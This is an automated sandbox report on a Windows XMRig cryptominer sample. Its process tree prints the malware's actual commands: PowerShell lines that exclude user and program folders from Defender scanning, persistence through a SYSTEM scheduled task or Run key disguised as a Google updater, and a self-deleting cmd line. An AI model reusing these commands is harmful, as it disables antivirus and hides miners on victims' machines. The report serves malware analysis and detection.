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25/01/2024, 16:55

240125-vfcyksbhgr10

24/01/2024, 17:15

240124-vstf4aecaj10

23/01/2024, 19:27

240123-x6cfvagbd910

23/01/2024, 19:27

240123-x6bvbafgem10

23/01/2024, 19:27

240123-x6bjjsgbd810

23/01/2024, 19:27

240123-x6ax1sfgek10

23/01/2024, 19:27

240123-x6abgsfgej10

23/01/2024, 19:27

240123-x591qagbd710

23/01/2024, 19:27

240123-x59d7agbd610

23/01/2024, 19:27

240123-x584esgbd510

Analysis

  • max time kernel
    1799s
  • max time network
    1802s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
  • Size 2.0MB
  • Sample240123-x591qagbd7
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 29 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 30 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 31 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3364
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Q5EUCWHU7pMYBfT3.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Q5EUCWHU7pMYBfT3.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:3380
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4700
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4520
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Q5EUCWHU7pMYBfT3.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2628
        • C:\Windows\System32\choice.exe
          choice /C Y /N /D Y /T 3
          3⤵
            PID:2392
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4804
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
            3⤵
              PID:5016
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:2412
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:1772
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:3184
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:4008
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:4280
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Detects videocard installed
              PID:4004
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:2168
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:4252

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 2.0MB
                • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
                • MD5 SHA1 SHA512 SSDEEP

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 642KB
                • SHA256 359b151e3a5b894dab6da1bc0e2f18ff84ce196a861ca0c7a4fce691d6840ff9
                • MD5 SHA1 SHA512 SSDEEP

                g.log

                • Path C:\Program Files\Google\Libs\g.log
                • Size 226B
                • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 f6f4442564ab77163d4d1ffffc74c3d714102979ee9e075c5235174c6e5761db
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_0apdyuas.kcl.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0apdyuas.kcl.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 4KB
                • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                • MD5 SHA1 SHA512

                memory/1772-115-0x00007FFA192A0000-0x00007FFA19D61000-memory.dmp

                memory/1772-97-0x0000020BAA000000-0x0000020BAA010000-memory.dmp

                memory/1772-91-0x00007FFA192A0000-0x00007FFA19D61000-memory.dmp

                memory/1772-102-0x0000020BAA000000-0x0000020BAA010000-memory.dmp

                memory/1772-113-0x0000020BAA000000-0x0000020BAA010000-memory.dmp

                memory/2168-141-0x00007FF77C810000-0x00007FF77D004000-memory.dmp

                memory/2168-153-0x00007FF77C810000-0x00007FF77D004000-memory.dmp

                memory/2168-191-0x00007FF77C810000-0x00007FF77D004000-memory.dmp

                memory/2168-189-0x00007FF77C810000-0x00007FF77D004000-memory.dmp

                memory/2168-187-0x00007FF77C810000-0x00007FF77D004000-memory.dmp

                memory/2168-185-0x00007FF77C810000-0x00007FF77D004000-memory.dmp

                memory/2168-183-0x00007FF77C810000-0x00007FF77D004000-memory.dmp

                memory/2168-181-0x00007FF77C810000-0x00007FF77D004000-memory.dmp

                memory/2168-179-0x00007FF77C810000-0x00007FF77D004000-memory.dmp

                memory/2168-177-0x00007FF77C810000-0x00007FF77D004000-memory.dmp

                memory/2168-175-0x00007FF77C810000-0x00007FF77D004000-memory.dmp

                memory/2168-173-0x00007FF77C810000-0x00007FF77D004000-memory.dmp

                memory/2168-171-0x00007FF77C810000-0x00007FF77D004000-memory.dmp

                memory/2168-165-0x00007FF77C810000-0x00007FF77D004000-memory.dmp

                memory/2168-163-0x00007FF77C810000-0x00007FF77D004000-memory.dmp

                memory/2168-161-0x00007FF77C810000-0x00007FF77D004000-memory.dmp

                memory/2168-159-0x00007FF77C810000-0x00007FF77D004000-memory.dmp

                memory/2168-157-0x00007FF77C810000-0x00007FF77D004000-memory.dmp

                memory/2168-155-0x00007FF77C810000-0x00007FF77D004000-memory.dmp

                memory/2168-151-0x00007FF77C810000-0x00007FF77D004000-memory.dmp

                memory/2168-149-0x00007FF77C810000-0x00007FF77D004000-memory.dmp

                memory/2168-147-0x00007FF77C810000-0x00007FF77D004000-memory.dmp

                memory/2168-145-0x00007FF77C810000-0x00007FF77D004000-memory.dmp

                memory/2168-143-0x00007FF77C810000-0x00007FF77D004000-memory.dmp

                memory/2168-139-0x00007FF77C810000-0x00007FF77D004000-memory.dmp

                memory/2168-137-0x000001F3F30D0000-0x000001F3F30F0000-memory.dmp

                memory/2168-136-0x000001F3F30B0000-0x000001F3F30D0000-memory.dmp

                memory/2168-135-0x00007FF77C810000-0x00007FF77D004000-memory.dmp

                memory/2168-133-0x00007FF77C810000-0x00007FF77D004000-memory.dmp

                memory/2168-131-0x00007FF77C810000-0x00007FF77D004000-memory.dmp

                memory/2168-129-0x000001F3F30D0000-0x000001F3F30F0000-memory.dmp

                memory/2168-128-0x000001F3F30B0000-0x000001F3F30D0000-memory.dmp

                memory/2168-127-0x00007FF77C810000-0x00007FF77D004000-memory.dmp

                memory/2168-125-0x000001F3F3090000-0x000001F3F30B0000-memory.dmp

                memory/2168-124-0x000001F3F2F30000-0x000001F3F2F50000-memory.dmp

                memory/2168-123-0x00007FF77C810000-0x00007FF77D004000-memory.dmp

                memory/2412-64-0x000001C0E5DC0000-0x000001C0E5DD0000-memory.dmp

                memory/2412-78-0x000001C0E81D0000-0x000001C0E8285000-memory.dmp

                memory/2412-83-0x000001C0E83D0000-0x000001C0E83D8000-memory.dmp

                memory/2412-63-0x00007FFA192A0000-0x00007FFA19D61000-memory.dmp

                memory/2412-65-0x000001C0E5DC0000-0x000001C0E5DD0000-memory.dmp

                memory/2412-81-0x000001C0E7F60000-0x000001C0E7F6A000-memory.dmp

                memory/2412-76-0x00007FF462DD0000-0x00007FF462DE0000-memory.dmp

                memory/2412-84-0x000001C0E83E0000-0x000001C0E83E6000-memory.dmp

                memory/2412-75-0x000001C0E81B0000-0x000001C0E81CC000-memory.dmp

                memory/2412-82-0x000001C0E8410000-0x000001C0E842A000-memory.dmp

                memory/2412-77-0x000001C0E5DC0000-0x000001C0E5DD0000-memory.dmp

                memory/2412-79-0x000001C0E7F50000-0x000001C0E7F5A000-memory.dmp

                memory/2412-89-0x00007FFA192A0000-0x00007FFA19D61000-memory.dmp

                memory/2412-80-0x000001C0E83F0000-0x000001C0E840C000-memory.dmp

                memory/2412-86-0x000001C0E5DC0000-0x000001C0E5DD0000-memory.dmp

                memory/2412-85-0x000001C0E8430000-0x000001C0E843A000-memory.dmp

                memory/3184-132-0x00007FF6F3B00000-0x00007FF6F3B16000-memory.dmp

                memory/3184-126-0x00007FF6F3B00000-0x00007FF6F3B16000-memory.dmp

                memory/3380-36-0x00007FF6CCAE0000-0x00007FF6CCCF1000-memory.dmp

                memory/3380-0-0x00007FF6CCAE0000-0x00007FF6CCCF1000-memory.dmp

                memory/4252-122-0x00007FF798980000-0x00007FF798B91000-memory.dmp

                memory/4252-53-0x00007FF798980000-0x00007FF798B91000-memory.dmp

                memory/4520-27-0x00007FFA192A0000-0x00007FFA19D61000-memory.dmp

                memory/4520-32-0x0000024BB2E80000-0x0000024BB2E90000-memory.dmp

                memory/4520-29-0x0000024BB2E80000-0x0000024BB2E90000-memory.dmp

                memory/4520-30-0x0000024BB2E80000-0x0000024BB2E90000-memory.dmp

                memory/4520-34-0x00007FFA192A0000-0x00007FFA19D61000-memory.dmp

                memory/4520-31-0x0000024BB2E80000-0x0000024BB2E90000-memory.dmp

                memory/4700-16-0x00007FFA192A0000-0x00007FFA19D61000-memory.dmp

                memory/4700-2-0x00007FFA192A0000-0x00007FFA19D61000-memory.dmp

                memory/4700-4-0x00000146D40D0000-0x00000146D40E0000-memory.dmp

                memory/4700-3-0x00000146D40D0000-0x00000146D40E0000-memory.dmp

                memory/4700-1-0x00000146D6180000-0x00000146D61A2000-memory.dmp

                memory/4804-52-0x00007FFA192A0000-0x00007FFA19D61000-memory.dmp

                memory/4804-38-0x0000018AED890000-0x0000018AED8A0000-memory.dmp

                memory/4804-39-0x0000018AED890000-0x0000018AED8A0000-memory.dmp

                memory/4804-37-0x00007FFA192A0000-0x00007FFA19D61000-memory.dmp